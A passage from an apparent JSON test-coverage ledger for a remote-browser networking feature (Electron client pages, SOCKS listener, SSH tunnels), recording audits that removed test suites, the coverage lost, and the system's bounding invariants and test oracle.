runtime_busy recovery, long-poll metering and disconnect abort, monotonic host/page/route generations without page tombstones, two-phase exact page retirement with cancellation, connection-owned cleanup, exact client revocation, stale and replaced fences, retired stream IDs, half-close and close ordering, SOCKS CONNECT, bind/close races, listener wildcard normalization, unsupported commands, unavailable routes, and raw/terminal binary-handler isolation. Page commands use a separately echoed v1 attach negotiation, exact authority/host/page generations, bounded command IDs and sequences, and bounded create/navigate payloads; legacy attaches still receive only the unchanged ready/revoked event shapes. A second optional reconciliation subprotocol gates bounded reclaim, close, and restore payloads behind exact attach/ready echo, complete inventory, command negotiation, reconnect authority, and command-result authority; the production client advertises it only with the matching command and inventory capabilities. Exact guest or app-renderer loss marks one page generation outcome-unknown, coalesces a bounded negotiated inventory reattach, closes or retires the dead generation, and allocates a fresh generation before URL restore; explicit close is not misclassified as a crash. Mixed-version mutation tests project hidden client pages before activate, close, split, reorder, and move-to-group admission, preserve hidden raw order slots, translate visible insertion indices, and project mutation snapshots. A production server orchestrator consumes each immutable inventory once, reserves target generations without exposing placement, emits only negotiated ledger commands, commits after exact completed proof, preserves unrelated and server placements, aborts an attempt when connection authority enters reconnect grace, and requires fresh inventory after failure or abort. The production client dispatcher additionally proves per-page FIFO execution, exact payload-matched duplicate replay, frozen command/result snapshots, a global retired-generation floor, transactional admission, bounded pages/active commands/queues/per-page and global result cache/concurrency, create dependency failure, cancellation, deduplicated retirement joining, and bounded close without late-result overwrite. The server ledger owns issue order and immutable command/result snapshots, bounds outstanding commands, active pages, and per-page/global replay caches, releases active-page capacity after an exact completed close while retaining bounded result replay, validates the shared wire payload before admission, requires live delivery and exact placement, authenticates results to the negotiated connection and paired lease, rejects gaps and conflicting replay, and fences outstanding outcomes at exact retirement. Negotiated command results reuse the authenticated attach socket through bounded nested JSON requests; exact ID routing, reverse-order replies, unknown and duplicate IDs, timeout teardown, serialization failure, aggregate queue accounting, acknowledgement validation, and the unchanged non-v1 path are deterministic. A stable local listener rejects CONNECT while offline or reconnecting, retains its address across replacement, requires a strictly increasing tunnel generation, ignores late superseded callbacks, propagates tunnel protocol failure to the route owner, and recycles exhausted stream IDs only after generation replacement. Reconnect uses the unchanged native v1 attach payload and capability pair; SSH descriptors alone add an execution-host capability and require a runtime-minted grant bound to the exact browser-host lease. Exact SSH provider epoch and connection generation fence ssh2 forwardOut and one non-interactive standalone system-SSH dynamic forward per route. Unit tests preserve domain-form SOCKS requests, sanitize remote errors, bound stderr, cancel startup, release timed-out and synchronously failed sockets, and release routes once. An ephemeral Docker sshd resolves a container-only domain and returns a unique HTTP marker through both ssh2 and the actual system-OpenSSH dynamic-forward adapter without touching the user's SSH files; authority loss fences the ssh2 route. The execution runtime charges route application bytes to the same per-host/process policy; its existing E2EE owner separately caps native outbound buffers process-wide. Production-registered browser-host and paired-runtime methods lease one exact host, prove attach, command delivery, and result settlement share one exact connection identity, then carry SOCKS and HTTP bytes over a dedicated E2EE socket to the fenced execution-host revision and prove route close destroys the destination socket. The production desktop adapter now composes one exact host per environment pairing revision with the page executor, current renderer selector, route Session/WebContents registries, and one reference-counted route per canonical execution-host key. Negotiated same-client control reconnect retains exact authority, placements, grants, dispatcher dedupe, executor guests, and listener addresses; it fences tunnels immediately, blocks route admission, reattaches command delivery only after ready, and replays unsettled commands without repeating completed mutations. Terminal release, replacement, legacy disconnect, and reconnect-grace expiry make only the exact host generation's client placements non-cancellable retirement-pending while retaining capacity until exact cleanup; reconnect grace preserves them. Environment replacement and app shutdown still serialize transport closure before page cleanup and force-close every remaining route. The production placement preparation starts the exact desktop adapter and advertises host/tunnel capabilities only when the paired Electron client is eligible. Node stream-internal high-water bytes, strict cross-route scheduling, and physical cross-platform evidence remain uncovered. The two Docker remote-only SSH browser routing journeys now run in the dedicated Linux ssh-browser-network-route CI job on full runs and their mapped source/test changes; 2 baseline and 6 repeated cases passed with no skips/retries on 2026-09-06. The removed retry-arithmetic and attach-request inventory suites are not current coverage; retained lease and composition suites exercise admission retry, cleanup, inventory negotiation, and reconnect behavior. Test-value audit1293 removes src/main/browser/network/tunnels/browser-network-tunnel-client-memory-budget.test.ts (4 authored cases). Their isolated assertions no longer run; surviving tests are not claimed as equivalent coverage. Fresh execution against the candidate SHA is required. Audit1302: src/main/browser/client-pages/lifecycle/browser-client-page-unavailability.test.ts: Every route/guest lifecycle/currentness/navigation/renderer/automation authority is supplied by fake callbacks, then unavailability listener is invoked manually and private inventory/mock calls are checked. No guest destruction, renderer disconnect or actual reconciliation/close consumer. Lose generation fence/reconcile-once/missing-renderer-close branch alarms; no equivalent replacement. Reduced selectors require fresh validation; prior full-suite receipts do not validate removed or changed coverage. No equivalent replacement or physical-provider claim. Audit1318: src/shared/remote-runtime/requests/remote-runtime-subscription-request.test.ts: Retain actual local encrypted WebSocket subscription concurrency routing when host replies out of order, plus an exception thrown by a real ws consumer callback being turned into a subscription error. Server is a test-shaped handshake/response producer using production crypto, not actual runtime host/auth authority or independent cryptographic oracle. Remove happy second-request duplicate, unknown/duplicate-ID branches, fixed32 capacity, serialization/capacity/timeouts and fake memory release/admission call-count scenarios; intentionally lose those alarms. Reduced selectors need fresh validation; historical full-suite receipts do not validate the changed coverage. No equivalent replacement or physical-provider claim. Audit1340: src/main/runtime/runtime-binary-message-router.test.ts removed. Connection mode conflict exceptions and one terminal/raw callback each. No equivalent replacement coverage is claimed. Audit1352: focused Linux unit selections validated on source head b638e07d395b76af3ba6b03761a1a0fe7e5e026e. Historical statements above retain their original scope. Intentional test losses are recorded in knownGaps; these runs claim no physical-provider, p95, rendered E2E or cross-platform validation. Audit1360: focused Linux unit selections validated on source head 415c9cffc2d10024131ec4b6721767a22195de6d. Historical statements above retain their original scope. Intentional test losses are recorded in knownGaps; these runs claim no physical-provider, p95, rendered E2E or cross-platform validation. Audit1371 removes the reconciliation protocol/capability echo inventory from browser-client-host-reconciliation.test.ts. The pending command result refusal without exact authority and later accepted acknowledgement callback remains byte-identical. The narrow negotiation echo alarm is intentionally lost; no equivalent browser/authenticated transport proof is claimed. Existing receipts with unchanged selectors retain only their original scope. Audit1401: src/main/browser/client-pages/lifecycle/browser-client-page-inventory.test.ts reduced. Loses deterministic equal-length URL compaction tie-breaking and reversed-input invariance alarm. No equivalent replacement coverage is claimed.", + "coverageNotes": "Protection is limited to unchanged-selector receipts; remapped E2E journeys are unexecuted after E2E layout cleanup. Historical account: Audit5896 retires the entire src/main/runtime/browser-host/reconciliation/browser-host-page-placement.test.ts suite. Its remaining alarms are intentionally lost; retained commands are not equivalent replacement coverage. No fresh whole-gate validation is claimed. Complete prior account retained verbatim: Audit5743 removes whole identity-scanner/browser retirement/RPC dispatch test suites from active selectors, accepting incremental OSC identity framing, in-memory page retirement generation fencing and spied-runtime SQL dispatch authority/rollback alarms without equivalent replacement or fresh execution. Remaining dated evidence keeps its exact independent selector scope. Historical prior account (preserved verbatim): Audit5577 removes the entire src/main/runtime/browser-host/reconciliation/browser-host-page-placement-replacement.test.ts suite and its active selectors/assertion reference. The mocked replacement-page placement lifecycle sample alarms are intentionally retired without equivalent replacement or fresh gate evidence. Unrelated dated receipts retain their exact original scopes. Historical account follows: Audit5434 deletes the direct browser page inventory suite. URL-copy/duplicate-page preparation and whole-snapshot refusal for an unencodable page alarms are intentionally lost without equivalent replacement. Remove the deleted file from its compound command and testFiles. Other selectors/assertions and all three unrelated complete dated receipts retain their exact scope; no fresh full-gate execution is claimed. Historical prior account (preserved verbatim): Audit5429 trims paired browser-host composition and reconnect tests. Retire composition close-order/whenClosed wiring and explicit inventory-refresh reattachment/publication/cardinality alarms without equivalent replacement. Keep generation/recovery ownership and completed-mutation replay at their existing narrower scope. The removed composition close assertion is retired; surviving file commands remain valid selectors. No fresh full-gate execution or validation of reduced selectors is claimed. All three unrelated complete dated receipts retain their original exact fields and scope. Historical prior account (preserved verbatim): Audit4014 removes the complete browser client page command integration suite and its active command token, test selector and assertion reference. Its synthetic guest lifecycle still exercised real executor/dispatcher/Session/WebContents registry composition: navigation normalization, generation reclaim, spontaneous destruction inventory revocation, and exactly-once route/policy retirement alarms are intentionally lost. Electron guest navigation, proxy resolution and renderer lifecycle were supplied test ports; no equivalent replacement or fresh execution is claimed. The three unrelated active dated receipts and all prior historical strings remain unchanged. Historical prior account (preserved verbatim): Audit3381 intentionally removes the entire browser network tunnel protocol suite and active selectors/assertion. Static envelope/dispatch protocol alarms are lost without equivalent replacement. Remaining tunnel session and stream tests have narrower scopes. All three unrelated complete dated receipts are preserved verbatim with their original selectors; no fresh execution claimed. Module layout SSH policy: Retire the dynamic-forward launch argument/default inventory. The retained actual startup-cancellation entry case covers cancellation classification and termination/probe cleanup requests with supplied process/socket boundaries, not real SSH launch flags or live forwarding. Remove only the retired launch-flags assertion; unrelated dated receipts and their executed commands remain unchanged. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit1991: Remove the ordinary browser-host release/sub-cap and exact socket-close counter aliases. Retain the two actual admitted-device fairness and shared ask/browser/wait budget callbacks, which call server handlers with fake WebSockets and controlled pending RPCs. Preserve all3 unrelated dated receipts. No real browser placement or remote tunnel deployment is proved by this admission suite. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Delete the mocked browser placement mutation and projection suites and both prospective selectors. Preserve3 unrelated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1973: Remove stale production-registration and negotiated metadata aliases, compound refusal/cleanup aliases, isolated descriptor/route/memory/cleanup microcases. Retain exact negotiated command settlement, duplicate/conflict fencing, ready/replay ordering, superseded-connection cleanup, second-host refusal, ungranted target refusal, public connector redaction, revocation race and route replacement aliases within injected-port scope. Reconciliation and all3 unrelated dated receipts remain unchanged. Whole original changed dated receipts are retired, never narrowed or transferred. This metadata review claims no fresh execution, equivalent replacement, provider/PTY, live remote/mobile, rendered, cross-platform, soak or measured-budget result. Historical prior account (preserved verbatim): Audit1918 narrows browser-host-command-ledger-capacity: intentionally loses injected per-page/global cache expiry-count ceilings and authority/command/result cloning inventory alarms. Retain valid commands/testFile and the oversized-wire pre-admission and delivery-failure outstanding-outcome assertions, backed by unchanged retained real-ledger callbacks with supplied browser delivery. These survivors are not equivalent replacement coverage for the deleted cache/cloning examples. Existing three exact unrelated tunnel/wire receipts retain their original scope; no fresh reduced-gate, real browser/provider, native/platform, soak or measured-budget result is added. Historical prior account (preserved verbatim): Audit1900 reduces ws-outbound-backpressure-queue by seven authored definitions while retaining ten. Current source19 assertions still describe distinct direct/queued aggregate admission, cooperative drain ordering and aggregate claim release. Existing commands, testFiles and all three source19 assertions remain valid and unchanged. The affected2026-11-04 Linux44tests/4files/5.58s receipt is retired whole as historical evidence. The other three unchanged-selector browser receipts retain their exact original scope. Reduced selectors have no fresh integrated, physical-device, mixed-host, soak or measured-budget result. Historical prior account (preserved verbatim): Audit1709 removes low-value test definitions and retires affected assertion or execution-receipt claims without equivalent replacement coverage. Per-source reviews bound retained behavior and injected/native/remote limits. Unchanged assertions and receipts keep their original scope; gates lacking current active evidence are downgraded. Historical scope before this audit: Audit1687 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1686 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1571 removes mock forwarding, capability/schema inventories, private predicates, supplied error/result replays, and filesystem-mocked persistence checks without equivalent replacement claims. Retained changed tests also exercise real local permission-file reread, registry proxy rollback/credential retirement, site display recovery, and pending sender/credential/document admission with injected Electron/UI producers. Retained network tests exercise owned stream credit/cleanup, generation and retirement fences, real loopback proxy/SOCKS bytes and file-backed binding state. SSH/WSL/paired runtime, native sessions, authority producers and storage clears remain injected; simulated relaunch uses filesystem mocks. The unchanged profile-retirement suite was statically reviewed and not rerun. No actual SSH/WSL runtime, native Chromium jar deletion, durable process restart, remote DNS or external site proof. Receipts selecting changed tests are retired and unaffected receipts remain unchanged. Historical scope before this audit: Audit1563 retires mock cookie inventories, summary/flag/counter checks, historical replacement/replay narratives and setup-only alarms without equivalent replacement coverage. Retained changed cases exercise owned admission and cleanup, real staged-file lifetime, JSON/SQLite/WAL/schema compatibility, synthetic encryption and native Electron SameSite storage. Session/CDP/credential/write/renderer producers remain injected where recorded. Seven unchanged native definitions are not rerun locally; known stale registry-stub fixtures are not executable proof. Receipts selecting modified tests are retired; unaffected exact-selector receipts remain unchanged. Historical scope before this audit: Audit1559 removes mocked host/lease/reconciliation, event/flag/counter, forwarding, inventory and retry-budget alarms without equivalent replacement coverage. Retained cases establish owned promise, registry, rollback, admission and cleanup boundaries with injected Electron/renderer/host inputs; actual local sockets, file staging and Buffer collection are scoped in the PR. Receipts selecting modified tests are retired; unaffected exact-selector receipts remain historical evidence only. No live paired runtime, rendered browser/profile/TLS or device claim. Historical scope before this audit: Audit1401 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Audit1340 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Deterministic protocol, registry, injected-socket, and loopback-listener tests cover strict framing, remote-DNS targets, exact destination-write and source-consumption credit, at most 256 streams per route with pending opens counted inside that cap, 1024 admitted opens per 10-second monotonic window, an 8 MiB per-route application-buffer ledger, shared 32 MiB browser-host and 128 MiB process ledgers across application copies, encrypted client queues, and native WebSocket bufferedAmount, bounded byte/claim/socket-source counts, a four-frame queued-drain quantum, authority epochs, exact host selection, one host per authenticated connection, four hosts per paired device, eight global browser-host polls with four per authenticated paired device, a shared ask/host ceiling that retains one quarter for waits, bounded initial and reconnect runtime_busy recovery, long-poll metering and disconnect abort, monotonic host/page/route generations without page tombstones, two-phase exact page retirement with cancellation, connection-owned cleanup, exact client revocation, stale and replaced fences, retired stream IDs, half-close and close ordering, SOCKS CONNECT, bind/close races, listener wildcard normalization, unsupported commands, unavailable routes, and raw/terminal binary-handler isolation. Page commands use a separately echoed v1 attach negotiation, exact authority/host/page generations, bounded command IDs and sequences, and bounded create/navigate payloads; legacy attaches still receive only the unchanged ready/revoked event shapes. A second optional reconciliation subprotocol gates bounded reclaim, close, and restore payloads behind exact attach/ready echo, complete inventory, command negotiation, reconnect authority, and command-result authority; the production client advertises it only with the matching command and inventory capabilities. Exact guest or app-renderer loss marks one page generation outcome-unknown, coalesces a bounded negotiated inventory reattach, closes or retires the dead generation, and allocates a fresh generation before URL restore; explicit close is not misclassified as a crash. Mixed-version mutation tests project hidden client pages before activate, close, split, reorder, and move-to-group admission, preserve hidden raw order slots, translate visible insertion indices, and project mutation snapshots. A production server orchestrator consumes each immutable inventory once, reserves target generations without exposing placement, emits only negotiated ledger commands, commits after exact completed proof, preserves unrelated and server placements, aborts an attempt when connection authority enters reconnect grace, and requires fresh inventory after failure or abort. The production client dispatcher additionally proves per-page FIFO execution, exact payload-matched duplicate replay, frozen command/result snapshots, a global retired-generation floor, transactional admission, bounded pages/active commands/queues/per-page and global result cache/concurrency, create dependency failure, cancellation, deduplicated retirement joining, and bounded close without late-result overwrite. The server ledger owns issue order and immutable command/result snapshots, bounds outstanding commands, active pages, and per-page/global replay caches, releases active-page capacity after an exact completed close while retaining bounded result replay, validates the shared wire payload before admission, requires live delivery and exact placement, authenticates results to the negotiated connection and paired lease, rejects gaps and conflicting replay, and fences outstanding outcomes at exact retirement. Negotiated command results reuse the authenticated attach socket through bounded nested JSON requests; exact ID routing, reverse-order replies, unknown and duplicate IDs, timeout teardown, serialization failure, aggregate queue accounting, acknowledgement validation, and the unchanged non-v1 path are deterministic. A stable local listener rejects CONNECT while offline or reconnecting, retains its address across replacement, requires a strictly increasing tunnel generation, ignores late superseded callbacks, propagates tunnel protocol failure to the route owner, and recycles exhausted stream IDs only after generation replacement. Reconnect uses the unchanged native v1 attach payload and capability pair; SSH descriptors alone add an execution-host capability and require a runtime-minted grant bound to the exact browser-host lease. Exact SSH provider epoch and connection generation fence ssh2 forwardOut and one non-interactive standalone system-SSH dynamic forward per route. Unit tests preserve domain-form SOCKS requests, sanitize remote errors, bound stderr, cancel startup, release timed-out and synchronously failed sockets, and release routes once. An ephemeral Docker sshd resolves a container-only domain and returns a unique HTTP marker through both ssh2 and the actual system-OpenSSH dynamic-forward adapter without touching the user's SSH files; authority loss fences the ssh2 route. The execution runtime charges route application bytes to the same per-host/process policy; its existing E2EE owner separately caps native outbound buffers process-wide. Production-registered browser-host and paired-runtime methods lease one exact host, prove attach, command delivery, and result settlement share one exact connection identity, then carry SOCKS and HTTP bytes over a dedicated E2EE socket to the fenced execution-host revision and prove route close destroys the destination socket. The production desktop adapter now composes one exact host per environment pairing revision with the page executor, current renderer selector, route Session/WebContents registries, and one reference-counted route per canonical execution-host key. Negotiated same-client control reconnect retains exact authority, placements, grants, dispatcher dedupe, executor guests, and listener addresses; it fences tunnels immediately, blocks route admission, reattaches command delivery only after ready, and replays unsettled commands without repeating completed mutations. Terminal release, replacement, legacy disconnect, and reconnect-grace expiry make only the exact host generation's client placements non-cancellable retirement-pending while retaining capacity until exact cleanup; reconnect grace preserves them. Environment replacement and app shutdown still serialize transport closure before page cleanup and force-close every remaining route. The production placement preparation starts the exact desktop adapter and advertises host/tunnel capabilities only when the paired Electron client is eligible. Node stream-internal high-water bytes, strict cross-route scheduling, and physical cross-platform evidence remain uncovered. The two Docker remote-only SSH browser routing journeys now run in the dedicated Linux ssh-browser-network-route CI job on full runs and their mapped source/test changes; 2 baseline and 6 repeated cases passed with no skips/retries on 2026-09-06. The removed retry-arithmetic and attach-request inventory suites are not current coverage; retained lease and composition suites exercise admission retry, cleanup, inventory negotiation, and reconnect behavior. Test-value audit1293 removes src/main/browser/network/tunnels/browser-network-tunnel-client-memory-budget.test.ts (4 authored cases). Their isolated assertions no longer run; surviving tests are not claimed as equivalent coverage. Fresh execution against the candidate SHA is required. Audit1302: src/main/browser/client-pages/lifecycle/browser-client-page-unavailability.test.ts: Every route/guest lifecycle/currentness/navigation/renderer/automation authority is supplied by fake callbacks, then unavailability listener is invoked manually and private inventory/mock calls are checked. No guest destruction, renderer disconnect or actual reconciliation/close consumer. Lose generation fence/reconcile-once/missing-renderer-close branch alarms; no equivalent replacement. Reduced selectors require fresh validation; prior full-suite receipts do not validate removed or changed coverage. No equivalent replacement or physical-provider claim. Audit1318: src/shared/remote-runtime/requests/remote-runtime-subscription-request.test.ts: Retain actual local encrypted WebSocket subscription concurrency routing when host replies out of order, plus an exception thrown by a real ws consumer callback being turned into a subscription error. Server is a test-shaped handshake/response producer using production crypto, not actual runtime host/auth authority or independent cryptographic oracle. Remove happy second-request duplicate, unknown/duplicate-ID branches, fixed32 capacity, serialization/capacity/timeouts and fake memory release/admission call-count scenarios; intentionally lose those alarms. Reduced selectors need fresh validation; historical full-suite receipts do not validate the changed coverage. No equivalent replacement or physical-provider claim. Audit1340: src/main/runtime/runtime-binary-message-router.test.ts removed. Connection mode conflict exceptions and one terminal/raw callback each. No equivalent replacement coverage is claimed. Audit1352: focused Linux unit selections validated on source head b638e07d395b76af3ba6b03761a1a0fe7e5e026e. Historical statements above retain their original scope. Intentional test losses are recorded in knownGaps; these runs claim no physical-provider, p95, rendered E2E or cross-platform validation. Audit1360: focused Linux unit selections validated on source head 415c9cffc2d10024131ec4b6721767a22195de6d. Historical statements above retain their original scope. Intentional test losses are recorded in knownGaps; these runs claim no physical-provider, p95, rendered E2E or cross-platform validation. Audit1371 removes the reconciliation protocol/capability echo inventory from browser-client-host-reconciliation.test.ts. The pending command result refusal without exact authority and later accepted acknowledgement callback remains byte-identical. The narrow negotiation echo alarm is intentionally lost; no equivalent browser/authenticated transport proof is claimed. Existing receipts with unchanged selectors retain only their original scope. Audit1401: src/main/browser/client-pages/lifecycle/browser-client-page-inventory.test.ts reduced. Loses deterministic equal-length URL compaction tie-breaking and reversed-input invariance alarm. No equivalent replacement coverage is claimed.", "motivatingLinks": [ "https://linear.app/stably/issue/STA-4150/refactor-remote-browser-to-client-hosted-electron-webviews" ], "invariant": "A client-hosted browser network route exists only for an exact live server-owned browser-host lease, authority epoch, host generation, paired identity, execution-host revision or SSH provider authority, and server-owned route generation. A client page is usable only when its runtime ID, authority epoch, host identity and generation, logical page ID, page-host generation, current placement, and still-live lease all match atomically; a retired, retirement-pending, or server-placed page cannot be claimed as live client placement. Live logical placements and their identities are bounded, an occupied logical page cannot change placement until exact two-phase retirement completes, cancellation restores the same authority, and the runtime-wide page generation stays monotonic without tombstones. Server-issued page commands and results remain bounded, FIFO per page, immutable after admission, authenticated to the exact paired lease, attach connection, and live placement, and replayable only when byte-equivalent. Negotiated transient result-transport loss retains exact authority and replays unsettled commands through the preserved client dedupe cache; terminal authority loss makes outstanding outcomes unknown and makes only the exact host generation's placements non-cancellable retirement-pending until exact cleanup or reconciliation proof. Desktop composition installs exact command authority before delivery, keeps result settlements below nested-request capacity, suspends every tunnel without closing guests on negotiated loss, gates handlers through route recovery, and synchronously suspends routes and revokes exact retained navigation grants before asynchronous transport or handler cleanup on terminal loss. Navigation-revocation failure remains observable without preventing guest destruction and route cleanup. One environment pairing revision owns at most one composed desktop host and one reference-counted route per canonical execution-host key; pairing replacement and shutdown close control transport before pages and force-close routes even when guest cleanup remains ambiguous. Non-native descriptors require explicit capability negotiation and an exact runtime-minted lease-bound execution-host grant. Host selection never chooses arbitrarily, stale cleanup or settlement cannot remove a replacement, destination names remain unresolved until the execution host, credit returns only after writes settle, and route loss never falls back to desktop DNS or sockets. A main-owned local listener remains stable across upstream transport loss, rejects CONNECT while offline, accepts only a strictly newer tunnel generation, ignores superseded callbacks, and never reuses a stream ID within one generation. Pending opens, admitted open rate, nested control requests, per-route application bytes, aggregate browser-host/process bytes, claims, and socket sources remain bounded with exact release on settlement and retirement. Queued transport drain yields after a bounded quantum. The local SOCKS endpoint accepts only loopback CONNECT and rejects unsupported commands.", - "oracle": "Audit5896 retires the entire src/main/runtime/browser-host/reconciliation/browser-host-page-placement.test.ts suite. Its remaining alarms are intentionally lost; retained commands are not equivalent replacement coverage. No fresh whole-gate validation is claimed. Complete prior account retained verbatim: Audit5434 deletes the direct browser page inventory suite. URL-copy/duplicate-page preparation and whole-snapshot refusal for an unencodable page alarms are intentionally lost without equivalent replacement. Remove the deleted file from its compound command and testFiles. Other selectors/assertions and all three unrelated complete dated receipts retain their exact scope; no fresh full-gate execution is claimed. Historical prior account (preserved verbatim): Audit5429 trims paired browser-host composition and reconnect tests. Retire composition close-order/whenClosed wiring and explicit inventory-refresh reattachment/publication/cardinality alarms without equivalent replacement. Keep generation/recovery ownership and completed-mutation replay at their existing narrower scope. The removed composition close assertion is retired; surviving file commands remain valid selectors. No fresh full-gate execution or validation of reduced selectors is claimed. All three unrelated complete dated receipts retain their original exact fields and scope. Historical prior account (preserved verbatim): Audit4014 removes the complete browser client page command integration suite and its active command token, test selector and assertion reference. Its synthetic guest lifecycle still exercised real executor/dispatcher/Session/WebContents registry composition: navigation normalization, generation reclaim, spontaneous destruction inventory revocation, and exactly-once route/policy retirement alarms are intentionally lost. Electron guest navigation, proxy resolution and renderer lifecycle were supplied test ports; no equivalent replacement or fresh execution is claimed. The three unrelated active dated receipts and all prior historical strings remain unchanged. Historical prior account (preserved verbatim): Test-value audit3842 retires four ws-outbound queue unit probes: direct empty-queue send failure, configured drain quantum/zero-delay reschedule, injected aggregate claim/release accounting, and supplied unwritable drain guard. Their exact alarms are intentionally lost; retained queue behaviors are not equivalent replacements. All source-file commands remain valid. No fresh execution or measured-budget evidence is claimed. Historical prior account (preserved verbatim): Test-value audit removes the retired suite and its active selectors/assertions. Retire the paired-host late subscription smoke: it checks a mocked close count and startup rejection, without remote unsubscribe or successor outcomes. Audit3381 intentionally removes the entire browser network tunnel protocol suite and active selectors/assertion. Static envelope/dispatch protocol alarms are lost without equivalent replacement. Remaining tunnel session and stream tests have narrower scopes. All three unrelated complete dated receipts are preserved verbatim with their original selectors; no fresh execution claimed. Module layout SSH policy: Retire the dynamic-forward launch argument/default inventory. The retained actual startup-cancellation entry case covers cancellation classification and termination/probe cleanup requests with supplied process/socket boundaries, not real SSH launch flags or live forwarding. Remove only the retired launch-flags assertion; unrelated dated receipts and their executed commands remain unchanged. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit1991: Remove the ordinary browser-host release/sub-cap and exact socket-close counter aliases. Retain the two actual admitted-device fairness and shared ask/browser/wait budget callbacks, which call server handlers with fake WebSockets and controlled pending RPCs. Preserve all3 unrelated dated receipts. No real browser placement or remote tunnel deployment is proved by this admission suite. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Delete the mocked browser placement mutation and projection suites and both prospective selectors. Preserve3 unrelated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1973: Remove stale production-registration and negotiated metadata aliases, compound refusal/cleanup aliases, isolated descriptor/route/memory/cleanup microcases. Retain exact negotiated command settlement, duplicate/conflict fencing, ready/replay ordering, superseded-connection cleanup, second-host refusal, ungranted target refusal, public connector redaction, revocation race and route replacement aliases within injected-port scope. Reconciliation and all3 unrelated dated receipts remain unchanged. Whole original changed dated receipts are retired, never narrowed or transferred. This metadata review claims no fresh execution, equivalent replacement, provider/PTY, live remote/mobile, rendered, cross-platform, soak or measured-budget result. Historical prior account (preserved verbatim): Audit1918 narrows browser-host-command-ledger-capacity: intentionally loses injected per-page/global cache expiry-count ceilings and authority/command/result cloning inventory alarms. Retain valid commands/testFile and the oversized-wire pre-admission and delivery-failure outstanding-outcome assertions, backed by unchanged retained real-ledger callbacks with supplied browser delivery. These survivors are not equivalent replacement coverage for the deleted cache/cloning examples. Existing three exact unrelated tunnel/wire receipts retain their original scope; no fresh reduced-gate, real browser/provider, native/platform, soak or measured-budget result is added. Historical prior account (preserved verbatim): Audit1900 reduces ws-outbound-backpressure-queue by seven authored definitions while retaining ten. Current source19 assertions still describe distinct direct/queued aggregate admission, cooperative drain ordering and aggregate claim release. Existing commands, testFiles and all three source19 assertions remain valid and unchanged. The affected2026-11-04 Linux44tests/4files/5.58s receipt is retired whole as historical evidence. The other three unchanged-selector browser receipts retain their exact original scope. Reduced selectors have no fresh integrated, physical-device, mixed-host, soak or measured-budget result. Historical prior account (preserved verbatim): Audit1709 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Audit1687 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Audit1686 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Attach two browser hosts and require unqualified selection to fail ambiguous while exact selection succeeds. Reject a second identity on one connection and a fifth identity for one paired device, release one exact lease, then admit its replacement without starving another device. Admit four hosts from one authenticated device and a host from a second, reject the first device's fifth host, and release only the first device's exact counters while the second remains live. Fill asks and hosts to their shared ceiling, retain a quarter of the total budget for ordinary waits, close both sockets, and prove every global, class, and device counter releases. Reject one initial host attach with the unchanged runtime_busy response, then require bounded client-specific jitter to attach when capacity returns; repeated rejection and explicit close must release every timer and subscription. Replace one same-device connection, require the old subscription and route to fence, then prove late old cleanup leaves the new generation live. Mint an exact execution-host grant, reject a different key, prove late old grant cleanup leaves its replacement, and invalidate every grant with lease replacement. Reject client-to-client, client-to-server, server-to-server, and server-to-client placement overwrite until exact retirement. Begin retirement once idempotently, reject client use and every replacement while pending, cancel the exact token to restore the same placement, and reject delayed cancellation or completion after a newer retirement begins. On explicit release, replacement, legacy disconnect, and reconnect-grace expiry, require only the exact host generation's client placements to become non-cancellable retirement-pending before lease settlement; preserve negotiated grace, other hosts, server placements, replacements, and capacity until exact completion. Complete only the exact pending token, retain capacity until completion, and require a reused client page ID to receive a higher global generation without retaining a tombstone. Require a client page through the exact runtime, epoch, host, and page tuple; reject every mismatch, released or replaced leases, retirement-pending pages, retired pages, server placements, invalid identities, and the 257th live placement. Admit 1024 opens in one monotonic 10-second window and reject the 1025th until the window expires. Fill 8 MiB across destination-to-client queues and separately across unsettled client-to-destination writes, release one exact retired stream, admit one replacement, and require the next byte claim to close the route without stale-callback or reentrant-close underflow. Across multiple routes, charge application copies, encrypted queue entries, and dynamic native socket bytes to one 32 